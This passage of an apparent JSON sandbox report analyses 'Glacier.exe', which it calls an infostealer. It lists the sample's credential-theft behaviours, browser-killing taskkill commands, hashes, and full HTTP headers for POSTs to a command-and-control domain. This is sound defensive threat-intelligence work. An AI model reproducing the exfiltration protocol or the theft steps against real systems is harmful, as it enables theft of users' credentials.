\"0\"\n \"dwStackSize\": \"0\"\n \"lpStartAddress\": \"2771627741584\"\n \"lpParameter\": \"2771627750912\"\n \"dwCreationFlags\": \"0\"\n \"lpThreadId\": \"0\"}","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-106","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"Glacier.exe\" called \"CreateProcessA\" with parameter \"\"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe\" --no-startup-window --headless\" - (UID: 00000000-00001176)\n \"Glacier.exe\" called \"CreateProcessA\" with parameter \"\"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window --headless\" - (UID: 00000000-00001176)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Terminates other processes using tskill/taskkill","description":"Process \"taskkill.exe\" with commandline \"taskkill /F /IM msedge.exe\" (UID: 00000000-00004308)\n Process \"taskkill.exe\" with commandline \"taskkill /F /IM chrome.exe\" (UID: 00000000-00004772)\n Process \"taskkill.exe\" with commandline \"taskkill /F /IM brave.exe\" (UID: 00000000-00009008)\n Process \"taskkill.exe\" with commandline \"taskkill /F /IM opera.exe\" (UID: 00000000-00000952)\n Process \"taskkill.exe\" with commandline \"taskkill /F /IM vivaldi.exe\" (UID: 00000000-00002132)\n Process \"taskkill.exe\" with commandline \"taskkill /F /IM browser.exe\" (UID: 00000000-00008452)\n Process \"taskkill.exe\" with commandline \"taskkill /F /IM yandex.exe\" (UID: 00000000-00008500)\n Process \"taskkill.exe\" with commandline \"taskkill /F /IM firefox.exe\" (UID: 00000000-00008020)","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":9,"id":"target-9","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_90% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"kkeyyou.cc\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Network Related","name":"Recently registered domain detected","description":"Recently Registered domain detected: \"kkeyyou.cc\" (2 days old). Commonly seen with phishing or other suspicious domains","origin":"Network Traffic","mitre_attack_id":"T1583.001","relevance":10,"id":"network-8601","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match - generic stealer","description":"YARA signature Malware.Stealer matched on process \"00000000-00001176\"","origin":"YARA Signature","relevance":10,"id":"yara-8","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"$62","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate the credentials from the user's credential set","description":"\"Glacier.exe\" called \"CredEnumerateA\" with parameters {\"Filter\": \"TERMSRV/*\"\n \"Flags\": \"0\"\n \"Count\": \"00000000\"\n \"Credential\": \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\"}","origin":"API Call","mitre_attack_id":"T1555.004","relevance":10,"id":"api-112","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"\"Glacier.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\16.0\\OUTLOOK\\PROFILES\\OUTLOOK\\9375CFF0413111D3B88A00104B2A6676\")\n \"Glacier.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\16.0\\OUTLOOK\\PROFILES\\OUTLOOK 2\\9375CFF0413111D3B88A00104B2A6676\")\n \"Glacier.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\15.0\\OUTLOOK\\PROFILES\\OUTLOOK\\9375CFF0413111D3B88A00104B2A6676\")\n \"Glacier.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\15.0\\OUTLOOK\\PROFILES\\OUTLOOK 2\\9375CFF0413111D3B88A00104B2A6676\")","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Putty/Winscp sessions from registry","description":"\"Glacier.exe opens key \" (Path: \"HKCU\\SOFTWARE\\MARTIN PRIKRYL\\WINSCP 2\\SESSIONS\")","origin":"Registry Access","mitre_attack_id":"T1552.002","relevance":10,"id":"registry-74","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$63","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"Spawned process \"Glacier.exe\" (UID: 00000000-00001176)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /F /IM msedge.exe\" (UID: 00000000-00004308)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /F /IM chrome.exe\" (UID: 00000000-00004772)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /F /IM brave.exe\" (UID: 00000000-00009008)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /F /IM opera.exe\" (UID: 00000000-00000952)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /F /IM vivaldi.exe\" (UID: 00000000-00002132)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /F /IM browser.exe\" (UID: 00000000-00008452)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /F /IM yandex.exe\" (UID: 00000000-00008500)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /F /IM firefox.exe\" (UID: 00000000-00008020)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]}],"incidents":[{"name":"Spyware","details_count":4,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Found Putty/Winscp session related registry strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Stealer/Phishing","details_count":3,"details":[{"detail":"Reads FTP client related files"},{"detail":"Tries to steal Mail credentials from registry"},{"detail":"Tries to steal Putty/Winscp sessions from registry"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Attempts to identify external IP address"},{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Reads VM-specific registry key"},{"detail":"May attempt to implement anti-virtualization techniques using MAC address detection"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Adware","details_count":1,"details":[{"detail":"Possibly checks for the presence of an adware detecting tool"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]}],"intel_graph":{"map":{"Domain:ip-api.com":{"type":"Domain","value":"ip-api.com"},"Domain:kkeyyou.cc":{"type":"Domain","value":"kkeyyou.cc"},"File:06cd083f117ce94bc3cf55753b6ccd8d435c817b042f9456eb9af49be9a09e6b":{"type":"File","value":"06cd083f117ce94bc3cf55753b6ccd8d435c817b042f9456eb9af49be9a09e6b"},"File:09476c4b800a057e79a2cc4cd9326987840438ef7cb05ee6e3a32d50148e2e6c":{"type":"File","value":"09476c4b800a057e79a2cc4cd9326987840438ef7cb05ee6e3a32d50148e2e6c"},"File:1da3dc6847c1990755bc940af3eed0d7fc6eca48297c9f8032fce8aeebf8c247":{"type":"File","value":"1da3dc6847c1990755bc940af3eed0d7fc6eca48297c9f8032fce8aeebf8c247"},"File:52de55223b143a2b84bcd9877c7fd130e9b38d0723c755d024d9d85488c2b7b3":{"type":"File","value":"52de55223b143a2b84bcd9877c7fd130e9b38d0723c755d024d9d85488c2b7b3"},"File:770f1f46637f5e9ff091f631f999d1453764eaccffccea3ccb8590c79fee964c":{"type":"File","value":"770f1f46637f5e9ff091f631f999d1453764eaccffccea3ccb8590c79fee964c"},"File:7981ac3fbef53f433da1c1a2521e8d593fcfc5b67297e16a82a1c59b3c3719af":{"type":"File","value":"7981ac3fbef53f433da1c1a2521e8d593fcfc5b67297e16a82a1c59b3c3719af"},"File:7e30e52447fc17ea212f2d8395958dd5e46edb80b60dd7d7b47e31fdade0a741":{"type":"File","value":"7e30e52447fc17ea212f2d8395958dd5e46edb80b60dd7d7b47e31fdade0a741"},"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce":{"type":"File","value":"8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","filetype":"PE32+ executable (GUI) x86-64, for MS Windows, 8 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:8b6115570ff44acf6b0f3ad303c95a59123f3190624b83aadfb450122f0f46cc":{"type":"File","value":"8b6115570ff44acf6b0f3ad303c95a59123f3190624b83aadfb450122f0f46cc"},"File:98fbc6a16f5ba6b4d6c9055e287600c86f142008aeef44d1c4a20cac8a790314":{"type":"File","value":"98fbc6a16f5ba6b4d6c9055e287600c86f142008aeef44d1c4a20cac8a790314"},"File:aff27a96a8e11600de0b8c7f84e1a817717b9b55e1ac44039a8978b9a3287359":{"type":"File","value":"aff27a96a8e11600de0b8c7f84e1a817717b9b55e1ac44039a8978b9a3287359","filetype":"DER Encoded PKCS#7 Signed Data","filetype_short":"PKCS7","mime_type":"application/x-x509-ca-cert"},"File:b2fd5eb49d2a63fbcfee43fe776d1eba3521baf4657daae21243b81e9d1abfd3":{"type":"File","value":"b2fd5eb49d2a63fbcfee43fe776d1eba3521baf4657daae21243b81e9d1abfd3"},"File:bf5c7a4b553425057e22a5205fb420fb591f802357362cb0db7efeec7c3d6532":{"type":"File","value":"bf5c7a4b553425057e22a5205fb420fb591f802357362cb0db7efeec7c3d6532"},"File:d286c7aa59052c28a12e65c92aaf67b371b4006c9606c1bb9e1e2ec12db31813":{"type":"File","value":"d286c7aa59052c28a12e65c92aaf67b371b4006c9606c1bb9e1e2ec12db31813"},"File:e2aff78aecb13f44069b96909885f3c4c7a6b202408f41160741a2f6fdbce3b5":{"type":"File","value":"e2aff78aecb13f44069b96909885f3c4c7a6b202408f41160741a2f6fdbce3b5"},"Ip:172.67.197.60":{"type":"Ip","value":"172.67.197.60"},"Ip:208.95.112.1":{"type":"Ip","value":"208.95.112.1"},"Url:/gate/chunk":{"type":"Url","value":"/gate/chunk"},"Url:/gate/complete":{"type":"Url","value":"/gate/complete"},"Url:/gate/handshake":{"type":"Url","value":"/gate/handshake"},"Url:/json/?fields=query,countryCode,city,isp":{"type":"Url","value":"/json/?fields=query,countryCode,city,isp"}},"chains":[{"id":"1555659442869975043","root":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:aff27a96a8e11600de0b8c7f84e1a817717b9b55e1ac44039a8978b9a3287359"}],"verdict":{"verdict":"unknown"}},{"id":"sandbox_network","root":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","edges":[{"edge_kind":"contacted_ip","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"Ip:172.67.197.60"},{"edge_kind":"contacted_ip","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"Ip:208.95.112.1"},{"edge_kind":"contacted_domain","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"Domain:ip-api.com"},{"edge_kind":"resolves_to","from_key":"Domain:ip-api.com","to_key":"Ip:208.95.112.1"},{"edge_kind":"contacted_domain","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"Domain:kkeyyou.cc"},{"edge_kind":"resolves_to","from_key":"Domain:kkeyyou.cc","to_key":"Ip:172.67.197.60"},{"edge_kind":"contacted_url","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"Url:/gate/handshake"},{"edge_kind":"contacted_url","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"Url:/json/?fields=query,countryCode,city,isp"},{"edge_kind":"contacted_url","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"Url:/gate/chunk"},{"edge_kind":"contacted_url","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"Url:/gate/complete"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","edges":[{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:aff27a96a8e11600de0b8c7f84e1a817717b9b55e1ac44039a8978b9a3287359"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:d286c7aa59052c28a12e65c92aaf67b371b4006c9606c1bb9e1e2ec12db31813"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:d286c7aa59052c28a12e65c92aaf67b371b4006c9606c1bb9e1e2ec12db31813"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:8b6115570ff44acf6b0f3ad303c95a59123f3190624b83aadfb450122f0f46cc"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:52de55223b143a2b84bcd9877c7fd130e9b38d0723c755d024d9d85488c2b7b3"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:e2aff78aecb13f44069b96909885f3c4c7a6b202408f41160741a2f6fdbce3b5"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:7981ac3fbef53f433da1c1a2521e8d593fcfc5b67297e16a82a1c59b3c3719af"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:1da3dc6847c1990755bc940af3eed0d7fc6eca48297c9f8032fce8aeebf8c247"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:98fbc6a16f5ba6b4d6c9055e287600c86f142008aeef44d1c4a20cac8a790314"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:09476c4b800a057e79a2cc4cd9326987840438ef7cb05ee6e3a32d50148e2e6c"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:770f1f46637f5e9ff091f631f999d1453764eaccffccea3ccb8590c79fee964c"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:7e30e52447fc17ea212f2d8395958dd5e46edb80b60dd7d7b47e31fdade0a741"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:bf5c7a4b553425057e22a5205fb420fb591f802357362cb0db7efeec7c3d6532"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:06cd083f117ce94bc3cf55753b6ccd8d435c817b042f9456eb9af49be9a09e6b"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:06cd083f117ce94bc3cf55753b6ccd8d435c817b042f9456eb9af49be9a09e6b"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:06cd083f117ce94bc3cf55753b6ccd8d435c817b042f9456eb9af49be9a09e6b"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:06cd083f117ce94bc3cf55753b6ccd8d435c817b042f9456eb9af49be9a09e6b"},{"edge_kind":"extracted","from_key":"File:8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","to_key":"File:b2fd5eb49d2a63fbcfee43fe776d1eba3521baf4657daae21243b81e9d1abfd3"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":11,"spawned_processes_count":11,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":44,"imported_dlls_count":83,"dropped_files_count":0,"extracted_files_count":18,"files_written_count":21,"files_deleted_count":0,"registry_keys_created_count":15,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":15,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":4,"http_requests_count":4},"behavior_tags":["new_domain","infostealer","malicious","evasive"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6ac0055a73a72ea06c0f5d20","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":88,"malware_family":"WinGo.J.gen","contacted_countries":["USA"],"submit_name":"Glacier.exe","analysis_start_time":"2026-10-02T19:26:20+00:00","indicators_count":{"informative":235,"suspicious":67,"malicious":16},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.67.197.60","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"address":"208.95.112.1","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]}],"dns_resolutions":[{"domain":"ip-api.com","address":"208.95.112.1","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"domain":"kkeyyou.cc","address":"172.67.197.60","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]}],"http_requests":[{"host":"kkeyyou.cc","host_ip":"172.67.197.60:443","url":"/gate/handshake","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /gate/handshake HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/octet-stream\nUser-Agent: Microsoft-CryptoAPI/10.0\nX-Build-ID: 0bc758f6\nX-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021\nX-Session: b94915774a538829a16bb9ee164367d2\nX-HWID: 4C319440\nX-KEX: x25519\nContent-Length: 32\nHost: kkeyyou.cc","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"host":"ip-api.com","host_ip":"208.95.112.1:80","url":"/json/?fields=query,countryCode,city,isp","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /json/?fields=query,countryCode,city,isp HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: Mozilla/5.0\nHost: ip-api.com","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"host":"kkeyyou.cc","host_ip":"172.67.197.60:443","url":"/gate/chunk","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /gate/chunk HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/octet-stream\nUser-Agent: Microsoft-CryptoAPI/10.0\nX-Build-ID: 0bc758f6\nX-HWID: 4C319440\nX-Chunk: sysinfo\nX-Chunk-Index: 0\nX-Session: b94915774a538829a16bb9ee164367d2\nX-Total: 20\nX-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021\nContent-Length: 3125\nHost: kkeyyou.cc","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"host":"kkeyyou.cc","host_ip":"172.67.197.60:443","url":"/gate/complete","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /gate/complete HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/octet-stream\nUser-Agent: Microsoft-CryptoAPI/10.0\nX-Build-ID: 0bc758f6\nX-HWID: 4C319440\nX-Session: b94915774a538829a16bb9ee164367d2\nX-Gate-Token: 9e7a73d3813889c19efb38553cd57d2aab560ba735de559bca77ea00fb132021\nContent-Length: 8\nHost: kkeyyou.cc","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}],"processes":[{"pid":1176,"ppid":0,"name":"Glacier.exe","command_line":"","sha256":"8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","normalized_path":"C:\\Glacier.exe","uid":"00000000-00001176","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACKUlEQVR4Xu2WS08TYRSGu+qdYql/QZfEvyVqVYq9ACJewPsFF01YmfR3iFoZ5Y5a66WKmvgzujmec775ZoZz+NJZYEoCkzxp08X7vO+ZTROJk+fYP41aBRq1qSFRgYT+8fDxPO/AT4IL9Pv9oXD0CrRaLWg2mwx9t7+fe/EXTj//g/yG0hLy7BeyB6WnxE8Ye4I8/gFjj4geFB/2YHx5b2CuKuCitETCUMrCQNoLpMUH36B4P0TmSOIXOHDldxQSvvDeVzhF3P3CjC52VY5EFXCdyi41Kx3SRZQufDbcIToDc1UBF+FprdBKuxEhcruDfILCLeTmR5UjiV0gXNk1LHQjwg4LR1mKzH+AkRvErsqRqAKuU8nTFiIrmUCKzO3CyPUdZlCuKuAiulRJSTi3w+Rnt322ID+zpXIksQsEQqQQSO3SbZZZctObkGsg9Q2VI1EFXKeKLs2TkFZaKQs3DCjN1dYhW11jpFCiCrigpfas+Wm70hey1Aiz1feQvYZMvWNkjiR2AVq5bymttFIS+mQqHmQmiVVG5khUAdcryNWNMFhqpbgyUyF86dVVSF95a7jcVkKJKuDCSjP+aQMhS63QSNPlN5C6RLxWOZL4BUjsS9O0MpC2IYXCdLnNQubiK0hdQCZWVI5EFXC9Aj6tkLKYhVa6AskJ4iUkzxukUKIKuDg7v25WlvevTLI0FEY5M+OpHEnsAv+Lo1GgXh3e3/J6FQucPMf++QdaW1M4YcDGqAAAAABJRU5ErkJggg=="},{"pid":4308,"ppid":1176,"name":"taskkill.exe","command_line":"taskkill /F /IM msedge.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00001176","uid":"00000000-00004308"},{"pid":4772,"ppid":1176,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00001176","uid":"00000000-00004772"},{"pid":9008,"ppid":1176,"name":"taskkill.exe","command_line":"taskkill /F /IM brave.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00001176","uid":"00000000-00009008"},{"pid":952,"ppid":1176,"name":"taskkill.exe","command_line":"taskkill /F /IM opera.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00001176","uid":"00000000-00000952"},{"pid":2132,"ppid":1176,"name":"taskkill.exe","command_line":"taskkill /F /IM vivaldi.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00001176","uid":"00000000-00002132"},{"pid":8452,"ppid":1176,"name":"taskkill.exe","command_line":"taskkill /F /IM browser.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00001176","uid":"00000000-00008452"},{"pid":8500,"ppid":1176,"name":"taskkill.exe","command_line":"taskkill /F /IM yandex.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00001176","uid":"00000000-00008500"},{"pid":8020,"ppid":1176,"name":"taskkill.exe","command_line":"taskkill /F /IM firefox.exe","sha256":"75f4aed9bf21d8f9b2b1a2ddbc1f2c7e4e0aef8b3b94bd5eda02d9d84c34f33f","normalized_path":"%WINDIR%\\SYSTEM32\\taskkill.exe","parent_uid":"00000000-00001176","uid":"00000000-00008020"},{"pid":2924,"ppid":1176,"name":"chrome.exe","command_line":"--no-startup-window --headless","sha256":"7ad24ac1cd935701492f557b34a662a5edf6f6ba3d52e9b2b3d6c1de51695f89","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00001176","uid":"00000000-00002924"},{"pid":5528,"ppid":1176,"name":"msedge.exe","command_line":"--no-startup-window --headless","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00001176","uid":"00000000-00005528"}],"all_imported_dlls":["gdi32full.dll","winhttp.dll","dnsapi.dll","rasadhlp.dll","rsaenh.dll","clbcatq.dll","profapi.dll","sxs.dll","VxSSL64.dll","cryptsp.dll","bcrypt.dll","IPHLPAPI.DLL","framedynos.dll","wbemprox.dll","wbemsvc.dll","ntdll.dll","msedge_elf.dll","win32u.dll","ole32.dll","shlwapi.dll","nss3.dll","wsock32.dll","kernel.appcore.dll","dbghelp.dll","AcLayers.dll","apphelp.dll","sechost.dll","oleaut32.dll","OnDemandConnRouteHelper.dll","schannel.dll","mozglue.dll","gdi32.dll","KernelBase.dll","msvcp140.dll","msctf.dll","softokn3.dll","winnsi.dll","nsi.dll","FWPUCLNT.DLL","wbemcomn.dll","amsi.dll","kernel32.dll","fltLib.dll","rpcrt4.dll","bcryptprimitives.dll","winmm.dll","ncryptsslp.dll","user32.dll","vcruntime140_1.dll","umpdc.dll","sspicli.dll","dpapi.dll","winsta.dll","fastprox.dll","J1P8Kjma.dll","uxtheme.dll","msvcp_win.dll","ucrtbase.dll","userenv.dll","chrome_elf.dll","vcruntime140.dll","crypt32.dll","cryptbase.dll","ws2_32.dll","gpapi.dll","freebl3.dll","netutils.dll","MpOAV